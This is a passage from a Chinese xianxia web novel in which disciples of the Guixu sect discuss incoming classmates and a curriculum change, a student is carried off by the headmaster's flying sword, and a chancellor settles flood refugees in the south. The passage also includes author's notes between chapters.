寄与不寄他们都会疑神疑鬼,不如寄一封内容存疑的信虚晃一枪,让朝中别有用心之人看后既心存疑虑又不得不信。 苍韫桢一听是此事,又把眼睛合上,随意匀出一点气力说话:“念。” 帷幔那头的沈时安环视一圈并未退避的宫人,迟疑片刻,最终还是自怀中取出那封封口完好的信件,拆开后念起里头的内容。 越念到后面,她越是心惊,不自觉地连语速都放慢了许多,直到帷幔内的人轻咳一声,才陡然回过神来:“陛下,柳相信中所诉情状……” 苍韫桢的语调不高不低,却带着强烈的不容置疑:“接着念。” 沈时安只好听命,继续顺着信件的内容往下念。 周围的宫人眼观鼻鼻观心地收敛了目光,又不约而同地向后退走,离开了此刻令人胆战心惊的偏殿。 柳卿知文官出身,用词并不似上了年纪的某些官员那般啰嗦,反而十分凝练,对南方现存的惨状并无过多感情上的叙述,文字冷静、客观,毫不拖泥带水,看不出半分情感上的偏颇。 无端令人更为胆寒。 沈时安终于念完了这封烫手山芋般的信,发觉自己已是一手一脸的汗,正想抬起衣袖将脸上的汗悄悄擦去,便听帷幔里的人说:“此信封口可完好?” 沈时安方才便已确认过,此时相当有把握地答道:“完好。” 苍韫桢似乎只是随口一问,不甚在意地“嗯”了一声后又问:“信件可有涂抹?” 沈时安快速又看了一遍信件内容:“有。” “在何处?”苍韫桢再度追问。 沈时安的目光停留在唯一一处涂抹之上,正欲作答,便听帷幔那边一阵衣料摩擦声,苍韫桢从榻上起来了。 “若是只有一处涂抹,那这信在寄入皇宫之前,至少已被三人查阅过。” 沈时安微微瞪大了眼睛:“陛下是如何……” 苍韫桢似乎在帷幔那边坐下了,随即传来一阵瓶瓶罐罐碰撞的声音,大抵是在上妆:“卿知寄往皇宫的信被三人以上私自查阅已是常态,她与我都早已习惯在必然会被查阅的信件上留下涂抹的痕迹。” 一处,是一切照旧,私自查阅的人照旧,以火传信也照旧。 若是一处以上,则事情还存在诸多变动,柳卿知那边也无法在短期内确定下来。 这种情况之下,苍韫桢便需要等第二封信,又或是——柳卿知的归来—— 作者有话说:就这样被榜单鞭策(瘫) 第72章 “那姓严的不是昨日才回去吗?怎么今日先生们就开始更改日后的教习计划了?”关云铮断断续续吃完了一餐, 捧着茶盏喝了一口水。 虽然步雁山说严骛此行回去大概不会乘坐马车,但这才过去不到半日,就算他已经乘坐灵舟之类速度更快的载具回到了仙盟, 仙盟也没这么快就搞出新的幺蛾子吧? 除非仙盟本来就打算插手归墟的教习计划, 派严骛来只是单纯地膈应他们,或者是为他们提出的改动编造出一个合理的理由。毕竟严骛回去后会怎么汇报关于归墟的现状, 这边全然不知情。 但归墟却知道仙盟早就打算插手改动教习计划, 所以到底是作为仙门对于仙盟的惯有行径了然于心,还是归墟也在坑仙盟…… 江却给仍处在馒头噎人余韵中的闻越倒了杯水:“大概严骛在仙盟中并无实权。” 关云铮顿时神色复杂:“仙盟派他来该不会也是为了……”羞辱他吧?虽然这几天看起来最能羞辱人的章存舒压根就避着没让严骛见着,但凌风起那张嘴显然也不是吃素的,要是严骛这三日没少在归墟乱窜的话……大概也是难逃一劫。 师门众人显然听明白了她的未尽之意,连闻越都罕见地沉默下来,没有继续就此事贬损严骛。 关云铮无意间冷场, 下意识起了个别的话头打破沉默:“那苏修士若是不回来,日后小悯的琴就是师父来教了?” 好吧这个话题也不怎么样。 她在心里绝望地叹了一口气, 怀疑自己最近中邪了,每次开口都说些地狱话题。 好在这个话题还是能接下去的, 只不过接话的人不是在座的任何一位。 ——另一边不知何时结束了商讨, 章存舒从月洞门后探出半个身子:“苏修士会回来的。” 关云铮扒着竹椅转了半圈,看向章存舒:“师父如此笃定?” 章存舒高深莫测地笑了笑:“小悯这般有天赋的学生,苏修士一定愿意继续教。” 听了这话的楚悯怪惶恐的, 总觉得苏修士就算回来大概也不是因为她, 但她也没对章存舒的话提出异议,而是问了一个在座各位都相当关心的话题:“日后的教习计划会如何改动?” 章存舒没型没款地靠在门上:“这次严骛抵达归墟之前,我收到消息称,仙盟会将一群人送来作为你们的新同窗。” 闻越喝水快喝撑了,放下茶盏道:“仙盟的眼线?” 章存舒的眉毛挑了挑:“不全是, 部分是从未参与过教习,但得知归墟教习计划后想半道加入的仙门弟子;部分是过往集中教习的弟子;剩下那一小部分才是仙盟的眼线。” 关云铮忍不住皱眉:“得知归墟教习计划?他们如何得知?” 章存舒似乎是想起什么好笑的事,调侃道:“他们如何得知的教习计划,你和小悯应当很清楚?” 听明白他的言外之意,关云铮迟疑:“难道是这几日下山期间遇见的仙门弟子?” 下山寻找武器的过程中总得向求助的人们阐明来意,哪怕说得并不详细,结合当今仙门中的情状也能推断出这是归墟的教习计划了。 虽然关云铮一度认为这计划实施得非常草率,并且到现在她也不能说自己完全明白章存舒与步雁山计划此事的用意,或许是因为她识海里还有个心魔引,此举是为了避开仙盟的注目;又或许只是单纯地把此事当做教习的一环……总之此事动机尚且存疑,但已经引来了其他仙门的注意。 天问已经把楚悯送来了,关云铮并不认为他们还会派来新的弟子,于是看向同样在此期间去了其他仙门的楚悯。 楚悯其实心中有些估计,听了章存舒的话才揣测着说道:“大概是灵兽派的叶泯?我在灵兽派那日,他出言顶撞了门中长老,这几日怕是也不太好过,来归墟接受教习兴许还能避开些。” 闻越撇撇嘴,语气鄙夷:“都当长老的人了,刁难弟子算什么本事?” 楚悯笑了笑:“他恐怕也没法刁难叶泯,叶泯的性子……”她想了想,找了个合适的说法,“同云崽有些像。” 原本还以为叶泯当真会被那长老穿小鞋的闻越顿时肃然起敬:“那没事了,那位长老自求多福。” 关云铮失语片刻,瞪了闻越一眼。 众人被两人的神情逗乐,一齐笑起来。 褚鹤贤和蒲飞鸢离开后,步雁山也到了这边小院坐下,关云铮心头仍有疑虑,短暂抛下和三师兄的小小恩怨,继续问道:“过往参与过教习的弟子又为何要来?” 步雁山接过连映倒的茶,道了声谢,喝了一口才说:“过往的集中教习受仙盟统辖,与归墟的计划有很大不同,兴许是想多学一些。” 楚悯难得阴谋论:“我听着怎么觉得,这部分和剩下那一小部分仙盟眼线,很可能是同一群人?”毕竟在开蒙的年纪接受的观念是能塑造一个人的是非观的,如果这些弟子初入仙门时接受的就是仙盟制定的教习计划…… 步雁山被逗笑:“应当不会,这些过往参与过教习的弟子大概也是被各自的师门送来归墟的。” 连映“嗯”了一声,赞同道:“至于仙盟的眼线,我觉得不用太过操心,正如严骛和普通仙门中人看着便有很大的不同,若是将来真有弟子是仙盟特地选中的眼线,大概也能轻易辨别。”她说完这话又说,“更何况归墟只是寻常教习,无甚特别之处,仙盟要看便看吧。” 严骛还不是满怀找茬的心思而来,揣着一肚子见不着人的怨气而去。 关云铮点点头:“现在把将来会来的同窗身份搞清楚了,那计划呢?不是说要修改教习的计划吗?” 步雁山正专心喝茶,伸出手示意章存舒来解答这个问题。 章存舒顺着他的动作解释:“算不上修改,不过是需要调整部分课程的时间,有些需要延后,有些需提前。” 关云铮不是很关心延后的课程,因为延后的事可以交给未来的关云铮去忧虑操心,她比较关心的是:“会提前的是什么?” 章存舒朝她笑了笑,接着说了句相当讨打的话:“你猜?” 关云铮:一月里总有三十天想控诉这个谜语人师父。 好在步雁山没章存舒这么恶劣,简单解释了一下:“实地考察。” 他说得太简略,楚悯不由好奇:“何种考察?” 一直沉默的江却忽然接过话茬:“大概会以幻境形式,考察过往所学。” 幻境? 关云铮抬起头看向方才开始就神神秘秘的章存舒。所以先前忽然让她学习制造幻境的术法,也是为了此事?就像突然塞给她撷光一样,都是在为未来的某件事做准备,只是每次都装作逗她玩。 像是很满意她想起此事,章存舒伸手揉了一把她的脑袋:“不用太过忧心,最早也要半月后才会开始。” 关云铮欲哭无泪了:“这还晚?” 半月?她能不能在御剑飞行的时候安稳站着都未可知,还要用幻境考察? 毁灭吧,反正也快死了。 **** 陆识微,也即江县县衙九品司簿,正亦步亦趋地跟着柳卿知前往流民的安居处。说是安居处,不过是紧急状态下搭建起来的十几个窝棚,能容纳的人数有限,提供的遮蔽也有限,但总好过在外头被日晒雨淋。 昨日同柳大人一起吃饭时被问到姓名,她战战兢兢地回答后,得到了一句“名字不错”的评价。 但她没有说的是,这名字并非生下来后父母给她取的,而是她离开那处偏僻的乡村来到县城后,自行改的。 在江县这样的小地方,女子做官是很难的,她早早便见识到了官场的泥淖,见过官商勾结也见过官官相护,知道自己恐怕很长一段时间都得陷在这暗无天日的泥潭里,因此给自己改了这个名字。 识微,她学问稀松平常,姑且将其解释为识得幽微,以此勉励自己在这样的官场里不要迷失了本心。 朝安的消息到江县这样的地方要花上几天几夜,她隐约听说过朝安城中那位权倾朝野的女相也姓柳,也在最初见到柳卿知时猜测过她会否就是那位女相,但她心中总存着一丝怀疑,觉得堂堂宰相有什么必要亲自来到这样的小地方,吃没好吃穿没好穿,要不是县丞那老匹夫多少对柳卿知展露出的态度有些忌惮,怕不是就得去睡外头下大雨里头下小雨的窝棚了。 但当她向自己问出那句“你想去朝安吗”,陆识微顿时觉得先前的一切怀疑都变得没有意义了。 还能是谁呢,还会是谁。 除了那位女相,还有谁会在这样的泥潭中向她伸出援手呢? 只是…… “大人。”她忍不住出声,打断了前方那人的脚步。 柳卿知回过身看向她。 流民在两人身侧缓步而过,不时有认出两人的人停驻,对着她们鞠一躬道声谢,而后又迈着因为病弱体衰而迟缓的脚步走向他们自己的命数。 陆识微的眼睛在昏暗的天色里隐隐发亮:“为何你明明告诉了县丞他们你的姓名,他们却无一人相信你就是那位女相呢?” 柳卿知听见这话竟然笑了一下,陆识微有些涨红了脸,还以为自己问了个十足愚蠢的问题。 不过柳卿知并没有让她的自我怀疑持续太久,很快便答道:“因为他们做不到。” 陆识微不明所以:“做不到什么?” 柳卿知看向远处分发粥米和食物的棚子:“做不到在官场艰难求生几年,坐上高位,身居朝安的金银窝后,回到这样一个,在地图上的标注都相当不起眼的小地方。” 陆识微愣住了。 忙碌了这半日,柳卿知的发髻有些松散开来,一缕青丝被微风吹动,拂过她的眉眼:“他们做不到,便觉得此事没有可能。” 柳卿知说完后便继续往前走,没管那缕头发,只对又一位停下脚步的老人点了点头。 陆识微快走几步赶上她:“那大人又是为何来此?” 柳卿知这次好像又笑了,只不过和方才那仅仅挂在嘴边的笑容不同,这次似乎眉眼也不甚明显地弯了起来:“因为有人说,愿这天下再也没有流民。” 陆识微喃喃重复:“愿这天下再也没有流民……” 而说出这话的柳卿知已在她的话音里,独自走向了那处能让流民们暂时不为饥饿发愁的棚子。 **** 左右今日无课,关云铮在院子里练习昨日任嵩华教的剑诀,楚悯则在自己的院子里听章存舒授课。 授课之前,章存舒的言辞很是谦虚:“我只会些皮毛,大概只能同你大略讲讲音修入门的知识,深的还需等苏修士回来。” 楚悯自然并不介意:“多谢章先生拨冗赐教。” 文绉绉的官方说辞听得关云铮和闻越浑身不舒服,两人对视一眼,一前一后地跑了。 江却也有日常修炼任务,同章存舒说过一声后便自行离开了。 于是现在的局面就变成了:步雁山、连映、闻越三人一起坐在关云铮院子里的石桌边,看她练剑。 关云铮还没念几遍剑诀就倍感压力,无奈地看向几人:“要不诸位行行好,去别处溜达溜达?” 闻越乐了:“我看你练剑你还能有压力?”都说高手旁观才能施压,他算什么高手? 关云铮没好气:“这还分人?我有多不熟练岂不是每个人都能看出来?” 连映笑了笑,宽慰她:“你才刚入门,不熟练再正常不过了,不过若是你当真不自在,我们也可寻别的地方坐着。” 被连映带着笑眯眯的神情这么一说,关云铮就是有再多无奈都开不了口了,毕竟都是关心她,她总不好真的赶人吧?那不是太没良心,也太小题大做了吗? 她叹了口气,正准备继续练习,一直没开口的步雁山忽然说:“换个剑诀练练,我看看。” 关云铮困惑:“换哪个?” 步雁山看着她:“你此刻想到的第一个剑诀。” 关云铮一愣,她此刻脑海中还真有一个剑诀,而且是她练过许多次的。 人潜意识果然会选择安全牌。 她低声念了一句剑诀,静等了几息,没感觉到有何变化,随即意识到自己念的是召唤剑的剑诀,可她的佩剑正好好地被她拿在手里。 ……所以说安全牌有些时候也不是那么合适。 她正打算换御剑飞行的剑诀试试,忽然听见空中传来昨日任嵩华召剑而来一般的动静,于是下意识抬起头。 还没等她反应过来,那快得看不清样子的剑就像是把她当成了地里的萝卜,猛地把她从地上铲了起来。 关云铮仓促间只顾得上在剑上站稳,完全没注意到下方的步雁山已经从石桌边站了起来,脸上的神情与往日形象极为不符,相当的惊疑不定。 闻越和连映也先后站了起来,闻越疑心自己看错了,狠狠地揉了一把眼睛,指着那把载着关云铮飞去的剑,看向步雁山,声音都快因为情绪波动太大劈叉了:“掌门,那不是……你的剑吗?” **** 关云铮一脸复杂地站在剑上,脑内飘动着绝望的弹幕:家人们谁懂啊,被不认识的剑当萝卜一样从地上铲起来了啊…… 摇羽也完全在状况外:“这是谁的剑?” 关云铮比它还茫然:“你问我?”那她问谁去? 摇羽似乎是感应了一会儿:“好像是步雁山的剑。” 关云铮下意识低头看了眼,发现脚下这把剑的剑柄处确实有一个缺口,但是位置比较靠下,就算是以手持剑,似乎也不太会影响使用。 难怪掌门耽搁了这些天,如果是她,她还能拖。 “它难道是想带我去可以修补剑柄的地方吗?”关云铮有个不太靠谱的猜想。 摇羽也还迷茫着:“大概?” 关云铮皱起眉:“那它铲我走做什么,它主人不是在石桌边坐着吗?”不应该是掌门更加了解该如何修补吗?她算什么?这具身体的岁数没准还没这把剑岁数大呢。 摇羽的回应也相当有说服力:“那它主人这不是好些天都没带它去吗?” ……关云铮被说服了。 她放弃挣扎,任由脚下的剑带着自己一路飞到了一处毫不熟悉的地界后缓慢落了地。 这是……矿山? 关云铮环视一圈,被周遭荒凉的程度震撼,不太确定地看着悬浮在她一侧的剑,虽然明知它不会说话,但还是忍不住问道:“你是想让我捡一块矿石回去给你修补剑柄吗?” 本以为不会得到任何回应,谁料那剑居然绕着她飞了一圈,像是对这个问题做出了回答。 行吧,那就当它是给出了肯定的答复吧。 但是这矿石……关云铮看向离自己最近的一处矿石,犯起了不知道第几次愁:这玩意儿要怎么撬下来啊? 摇羽看不见,但能感觉到她站在旁边完全不动,显然是在犯难,于是给出它能想到的建议:“不然你四下走走,看看有没有散落的矿石?” 关云铮叹了口气,认命地一手拎一把剑往矿山深处走。 “如果找不到散落矿石怎么办?”关云铮边走边问。 步雁山的佩剑不会说话,无法回答。 摇羽倒是很快给出答复:“实在不行就拿我撬吧,应该多少能撬下来一点。” 关云铮正要感动,就听这没良心的剑灵继续说道:“反正这剑身也是你师父强行给我套上的,我也不大喜欢,不如趁此机会换一个。” 一天之内提了两次换剑身的事了,看来是真的很想换。 关云铮低头仔细端详了一会儿手中的剑,没看出这剑身上有任何不遂人愿的瑕疵,遂残忍道:“放心吧,我一定会找到散落的矿石,不劳动你的。” 话音刚落,她脚下被什么东西一绊,险些一个踉跄摔出去。 关云铮仓促间平衡住身体,缓缓低下头,和脚下的一块矿石对上了视线,哦不是,矿石没有视线,她单方面对了个视线。 她俯身捡起石块,又拿到步雁山的佩剑“面前”:“是这个吗?如果是的话,我松开手后,你就绕着我飞一圈?” 说罢她松开手,果见这佩剑绕着她飞了一圈,她还无端从它飞行的动作中看出一点欢快的意味。 关云铮长出一口气,这矿山深不见底又阴凉得很,总让她想起曾经在互联网上看到的“不要靠近工地”的帖子,本能地有些害怕。 哪怕古代没那么多人,这种环境有野兽也不是不可能,所幸此事进展顺利,不然她这点胆量很快就要被消磨干净了。 “既如此,就劳你带我回去了。”关云铮看向那柄剑说道。 **** 还没等步雁山对自己的佩剑强行把关云铮带走一事做出应有的反应,那不肖佩剑就带着人又飞回来了,落地的时候像是终于想起自己的正牌主人就在一边似的,悬停在了他的身侧。 关云铮观察掌门脸色,合理怀疑他这辈子可能都没这么无语过。 她默默把收进乾坤袋里的矿石拿出来:“掌门,它带我去找了这个,可能是想用这矿石修补它的剑柄。” 担心步雁山可能会介意,他的佩剑当着主人的面听从别人的召唤这事,她又把自己在回来路上的揣测说给面前的三人听:“可能是因为我与不熄鼎存在着联系,掌门的佩剑驱使的灵气也受不熄鼎的管辖,因此会有这样偶然回应召唤的事发生。” 她又看似严谨实则不太靠谱地补充了一句:“可能它飞到近旁发现我手里的剑有剑灵,觉得我更可靠了,来不及思考就把我先带走了。” 她说完这一通觉得自己分析得相当有道理,但还是得同步雁山道个歉:“弟子行事太过莽撞,让掌门担心了。” 步雁山失笑,接过她手中的矿石:“你推测的有理,不熄鼎与你之间的联系确会对青镜山上的武器、法器造成影响,日后若是学到了万剑归宗,务必小心。” 关云铮听懂了,但很希望自己没听懂:“难道会……” 步雁山看上去很想忍住笑意,但实在没忍住:“若是你的力量足够,或许能把所有人的剑都召过来。” 闻越已经听呆了:“太有排面了云崽……” 关云铮痛苦面具:“这排面给师兄你体验吧。” 步雁山笑着摇摇头:“既如此,我便先带它下山去修补剑柄了,云崽继续练剑吧。” 闻越也笑:“别练剑来,专心练御剑吧。” 关云铮抗议无果,只好一脸四大皆空地接受了自己作为佩剑专属吸铁石(归墟限定)的新设定。 不过说真的,还有什么事能比她猝死后灵魂穿越到修仙世界更离谱?能把所有剑召过来固然令人匪夷所思,但也算是一种本事啊! 关云铮就这样强行把自己调理好了,正打算继续练习各个剑诀时,忽然又想起有件事还不知道,于是又看向连映和闻越:“掌门的佩剑叫什么?” 闻越不太确定地看向连映:“好像叫诸玄?” 连映点头:“求诸己身的诸,天地玄黄的玄,平日里只有一把,掌门出招时,是一群飞剑。” 关云铮顿时好得不能再好了,这辈子还能有机会被飞剑载着! 除了她方才在剑上的表情实在凌乱得没法看之外,这跟游戏立绘有什么区别! 这修仙的日子真是越来越有盼头了!—— 作者有话说:精神状态日渐美丽(在本就很美丽的基础上) 武器资料更新: 步雁山:剑,诸玄 第73章 关云铮被诸玄一剑铲走时闹出的动静太大, 那呼啸而至的风声穿透性太强,更别说月洞门根本就是空心的,压根用不着穿透, 是以一墙之隔, 不对,半墙之隔的楚悯在当下便听见了动静, 正要起身, 被坐在对面的章存舒抬手拦住:“无需担忧。” 楚悯犹豫不决地坐回来,这位置虽然能听见动静但看不见人,她尚且不能确定发生何事,但看章先生如此气定神闲,便忍不住问道:“先生早就料到会有此事?” 两人所处的位置都被墙体隔绝了看向另一处院子的视线,按常理来说, 章先生应该同她一样,对当下的情状一知半解才对。 ……虽然章先生此人多数时候游离于常理之外。 章存舒神色坦然地说些听着很像瞎话的话:“哪能早有预料, 我也是听见动静才想起来的。” 这一刻楚悯和云崽深深共情,再真切不过地体验到了她每每面对自家师父时, 那种以为下一句是真话结果又是瞎话的心情。 她难得在心中感慨:或许章先生这样的谜语人和兄长那样动辄“前辈晚辈”的人都应该换一种更容易听懂的方式。 她刚腹诽完, 章存舒就收起了方才玩笑的语气:“云崽和不熄鼎有联系,此事你应当知情。” 楚悯点点头。 章存舒继续说道:“青镜山中可供调动使用的灵气受不熄鼎的管辖,因此尚未引气入体的弟子们常常被建议向不熄鼎‘借’灵气, 此事你也明白。” 楚悯“嗯”了一声, 尚且有些没拐过弯来:“所以方才……?” 章存舒喝了一口茶:“先前掌门应该同你们说过,他的剑在闹脾气,”他停顿了片刻,“因为你们任师姐的境界又得到了突破,掌门担心她走上多数无情道的最终命数, 如同我的师妹、他的师姐一样。也正因此,他这几日不愿意下山,并非全然因为传送阵法尚在运转离不开人,他精通阵法,就算人不在归墟,也不会影响运作。不愿下山,是因为他的师姐就死在某次他下山的时候,他没能见到她最后一面。” 楚悯愣住了:“可……” 章存舒看向月洞门,平静的视线像是能绕过门洞看到另一边的院子:“可哪怕那次他不下山,月儿也会死;哪怕他这几日下了山,嵩华也不会出事。”归墟不是从前的归墟,从前发生过的事也绝不会再发生第二次。 可步雁山不敢。 被那惊天动地的一剑劈出一道狭长裂痕的,又何止是试心玉。 章存舒收回视线笑了笑:“他小时候可倔了,无论是不是他该担的责任,都往自己身上揽得十分勤快,如今长成这副模样,大约是我的过错,跟我待在一起久了学坏了。”他又喝了一口茶,“这段时间他心绪浮动,也会影响佩剑,而云崽能与不熄鼎相感应,所以……小悯觉得,此事何解?” 楚悯原本就在顺着章存舒的话思考,听他提问便脱口答道:“是不熄鼎,不,戚前辈知道掌门在担忧自责,所以用此举来叫他放心?” 章存舒故作意味深长地“嗯”了一声:“小悯果然聪明。” 楚悯心情复杂,实在是没法和章存舒一样笑出来,甚至话都不太想说了。可她转念一想又想到什么,下意识看了眼月洞门,又看向章存舒:“既然掌门佩剑应召而来的声音这边听得见,那我们方才……” 坐在对面的章存舒一副才意识到此事的模样,楚悯看他神色还以为那边真把方才的对话听了去,已经在琢磨要是掌门待会儿过来该如何收场时,听见章存舒说:“方才同你讲音修知识前,我便已经设过屏障了,他们听不见这边的声音。” 虚惊一场的楚悯失语。 这种以为他不靠谱结果靠谱,以为他正经结果说的是胡话的师父真是……辛苦大家了。 **** “除了修道之人皆有的境界之分之外,音修还有单独的境界划分,只是传了这些年多少有些变动,广为人所接受的是闻道、化形、合道三种境界,苏修士便是化形。三重境界又对应了三次劫难,破妄、通幽和无相,不过我观音修修炼并无此讲究,大约只是一种说法,实际在音修中少有提及。”章存舒拉拉杂杂地说了一大堆概念,又说,“就说了我对音修所知甚少,你看看这多像照本宣科。” 他又简单解释了一遍方才提到的几个概念,随后笑称自己实在是黔驴技穷,让楚悯把琴拿出来,打算再大略讲讲琴修。 “你已经用这琴弹过曲子了?”章存舒看了一眼月下逢。 楚悯点点头:“昨夜给云崽弹了支清心……”迟疑几息后她决定说实话,“弹了支安眠曲。” 章存舒并不奇怪她给昨日的关云铮弹奏安眠曲的缘由,而是纳罕:“苏修士给的琴谱?” 楚悯不解:“是,可有何不妥?” 章存舒笑着摆摆手:“自然没什么不妥,我只是惊讶,苏逢雨的琴谱里居然会有安眠曲,给谁弹?总不会是她自己。” 楚悯正打算回答,关云铮不知何时回来了,扶着门吐槽:“师父你好八卦啊。”她在楚悯身边的位置上坐下,随手捞过桌上倒扣着的空茶杯给自己倒了一杯茶,“大秋天御剑飞行对我的脑袋太不友好了。” 章存舒把茶壶往她面前推了推:“怎么,诸玄飞得太快了,被风吹得疼?” 关云铮点点头:“归墟考虑给弟子做点帽子或者围巾吗,虽然校服里有符咒,但是脑袋露在外头无遮无蔽的,大冬天的可怎么办。” 她回来后在自己院里又练了好一会儿的剑才过来,吹过冷风后又发汗,脑袋忽冷忽热的更难受了。 难受到她噼里啪啦说完一大堆才意识到自己方才用词都太过现代了,于是后知后觉地找补道:“额我的意思是……” 章存舒笑眯眯的:“知道了,我会让人去缝制帽子的,以备不时之需。” 关云铮想找补的话被他一句话轻飘飘地堵回来,只好“喔”一声作为回答,又下意识摸了摸手里的茶盏。 只是坏心眼的章存舒显然不会那么轻易放过意识到自己说错话的小徒弟,又问道:“方才说我八卦,什么意思?” 关云铮顿时摸着茶盏顿住,好一会儿才说:“此八卦并非彼八卦……” 章存舒从善如流:“嗯,所以是什么八卦?” 关云铮想了想八卦的意思,默默地把用词委婉了一个度:“就是指探究某事的心理过于强烈。” 章存舒揣着明白装糊涂:“真的?” 关云铮连连点头:“真的真的。” 章存舒没再继续逗她,笑着起身:“今日的课就到这里吧,我实在做不了教书育人的事,苏修士应该要不了多久便会回来了,可别让小悯跟着我学岔了。” 关云铮瞬间扮起乖巧,放下茶盏目送着他跨过月洞门离开了。 楚悯方才一直没打断师徒二人的谈话,此刻才终于忍不住问道:“方才发生何事?” 关云铮提起方才就觉得很荒谬,忍不住转过身拉着楚悯,竹筒倒豆子似的把不久前的经历全倒了个干净。 楚悯在心里吁了一口气,看来章先生说的没错,此事并无风险,云崽也好好的。 虽然此事她已了解过一个大概,但细节处概不知晓,所以依旧听得津津有味,中途还忍不住插话问道:“那矿石大概是什么样子?” 关云铮努力想了想,那矿石长得和她过去在教科书上看到的常见类别都不太一样,她实在是找不到合适的词汇来形容,索性放弃:“掌门拿矿石下山给诸玄修补剑柄了,等他回来大概会有些残余的碎屑,不如到时去要来瞧瞧?” 楚悯点点头,又笑着压低声音问道:“所以八卦究竟是何意?” 关云铮配合着放轻声音,开口前还故作谨慎地环视一圈,确认章存舒早就没影了之后才说:“形容此人尤擅搬弄是非。” 楚悯愣了一下,随即笑起来:“你方才真是这个意思?” 关云铮求生欲极强地摇摇头:“这个词在我这里贬义不足,大概能算个不褒不贬吧。”她想到方才让自己说出这个词的契机,解释道,“虽然我一直觉得苏修士喜欢蒲先生,但是也就是私下里这么说说,不看到她们二人待在一起时的言行举止,一般不会往这个方面去想。” 她分析得头头是道:“但是师父方才看到琴谱里有安眠曲就提及此事,我就觉得,好像有些,嗯,八卦。” 楚悯了然地笑起来:“所以你是觉得,章先生有些……” 关云铮伸出一根食指,神情严肃:“过度解读。” “噗。”楚悯被她的表情逗笑。 关云铮放下手,瞬间切换回平日里嘻嘻哈哈的模样:“不过真相是我不好意思这么说,其实我心里也觉得师父分析得有些道理。” 楚悯若有所思:“你也觉得安眠曲会在琴谱里,是因为蒲先生吗?” 关云铮其实也觉得自己过度解读,但嗑CP主张的就是一个妄加揣测和大胆推敲,于是继续小声分析道:“因为琴谱上原本就有的其实是清心曲对吧?” 方才楚悯把月下逢拿出来时就把苏逢雨给的琴谱也放在了桌上,此时便配合着把琴谱翻到清心曲所在,摊开放在两人面前。 关云铮方才还只是大胆猜测,待看清楚琴谱上的字迹后立刻双眼发亮地指着琴谱说:“你看,这是苏修士后来添上去的,琴谱上原本没有安眠曲。” 她信誓旦旦地说:“一定是后来出现了什么情况,让她发现单纯的清心曲没有那么好用,或者不是她想要的效用,于是安眠曲的琴谱就被她增添上去了。” 楚悯顺着她的思路想了想,还是提出了质疑:“或许也可以是她自己需要这种效用的曲子?而且也可能不是弹给蒲先生。”虽然给自己弹安眠曲确实有些奇怪,但也不是不能解释。 关云铮立马兴致勃勃地抬起手指向她,楚悯还以为自己说错话了,就听关云铮说:“你看我就说师父他很八卦吧!” **** 修道之人一夜能跨越多远的距离? 苍韫桢看了眼面前的人,觉得蒲飞鸢应该是当下最想知道这个问题答案的人。 苏逢雨随便找了张椅子坐下,神色恹恹,显然是不大高兴。 她忽然出现在殿内,苍韫桢周围的宫人都吓了一跳,胆子小些的几乎就要扯开嗓子喊“有刺客”了,被苍韫桢随意摆手的动作打断,瞬间收敛住自己惊慌的神色与即将脱口的惊呼,静悄悄地退出了宫殿。 苍韫桢坐在书桌后没动,照样看自己的折子,把正在源源不断往外散发怨气的苏逢雨当不存在。 “柳卿知呢?”片刻之后,苏逢雨先开口了。 苍韫桢头也没抬:“在南方安置流民。” 虽然熟悉她的人都知道苏逢雨此刻的心情非常不好,但单从脸上看还是不大能看出来的,因为此人脸上向来是这副所有人都欠她的不耐烦神情,原本倒有个人能让她有好脸色,可惜现下让她闷闷不乐的便是那人。 “她要在南方待多久?”苏逢雨又问道。 苍韫桢终于抬头看了她一眼,笑她:“怎么,开始关心朝堂事务了?” 苏逢雨懒得搭理她的调侃,只自顾自又问道:“她同你报备行程了?” 苍韫桢搁下笔,对她的来意了然于心:“你去过归墟了?” 苏逢雨那张脸上顿时不加掩饰地浮现出更大的怒气:“你果然也知道。” 她低笑了一声,但转瞬之间那点笑意和脸上的怒气一起消失在了接下来的话音里:“谁都知道,除了我。” 苍韫桢笑着叹了口气:“钻什么牛角尖呢,你怎么不问问仙盟那些人知道吗?怎么就谁都知道了。”蒲飞鸢要是知道苏逢雨这么说,估计会大喊冤枉吧。 苏逢雨不说话了,但看神色并未被苍韫桢说服,依旧揣着满肚子的不高兴。 苍韫桢把折子收到一边,看了一眼苏逢雨的状态,又拿过一边的纸笔开始写信,期间还不忘抬头宽慰:“你不问她,又如何能知道?” “我问她,归墟兴许就得立马换个武器先生了。”苏逢雨的话里不乏讽刺,在“先生”二字上更是加重了语气。 苍韫桢动笔飞快,嘴上还能继续搭话:“她躲着你?” 苏逢雨没搭腔,显然是被说中了。 苍韫桢简直想笑,认识这些年来还没见过她这副模样,关心则乱一词果然诚不她欺:“你确信不是巧合?有时候大概只是你想多了,总要等等她。” 毕竟蒲飞鸢那性格……容易媚眼抛给瞎子看。 苏逢雨实在不想再多说,朝苍韫桢伸手:“茶呢,我气得肝疼。” 苍韫桢示意她自己倒:“要不怎么说来得早不如来得巧,今日膳房上的茶正好是护肝茶。” 苏逢雨起身倒了一杯,一口干了。 苍韫桢则趁她倒茶的工夫把写完的信飞快丢进灯罩里烧了。 快来个能治这祖宗的人吧,她也要顶不住了。 **** 昨日从山下农庄带来的鱼还在水里养着,关云铮练了半个上午的剑又唠了小半个上午的嗑,早上吃的那点东西早就被消化干净了,撸了袖子蹲在几条鱼面前,思考着该怎么做合适。 楚悯蹲在她旁边,难得有她一无所知的东西,因此十分好奇,指了这条又指那条地问都是些什么鱼。 关云铮指给她看:“这条是鲫鱼,个头最小,虽然我不主张喝汤但是炖汤最合适;这条是草鱼,就切块红烧吧;这两条是鲤鱼,师父在的话,要不做个糖醋?” 楚悯对吃食没有太多要求,关云铮一边说她一边点头,表示自己都能接受。 关云铮被她连连点头的动作逗笑了,虽然知道楚悯很可能并不介意做法但还是问道:“你更想吃哪种?” 闻越在两人身后蹲下:“不能都做吗?” 关云铮表面笑眯眯实则咬牙切齿地转过头问他:“你能找到李厨我就都做。” 闻越不明所以:“找李厨做什么?” 关云铮叹了口气,眼里的光都快消失了:“我的精力只够我处理一条鱼,你要是找到李厨帮我杀鱼……” 闻越瞬间弹射起来:“好!我去找!” 关云铮看着他飞奔出门,由衷感慨道:“真有活力啊。” 总之行踪不定的李演还真被闻越找回来了。 经历过漫长的杀鱼刮鳞,切块洗净等一系列步骤,关云铮把菜端上桌的时候感觉自己的两条手臂已经离家出走了。 她颓然地在位置上坐了会儿,看向盛饭回来的章存舒:“师父,同窗们打了两日的铁能歇一日,我拿了一中午的锅能不能也歇一日?” 章存舒挑眉:“这我可做不了主,不如问问你掌门师叔?” 关云铮又看向刚修补完剑柄回来的步雁山。 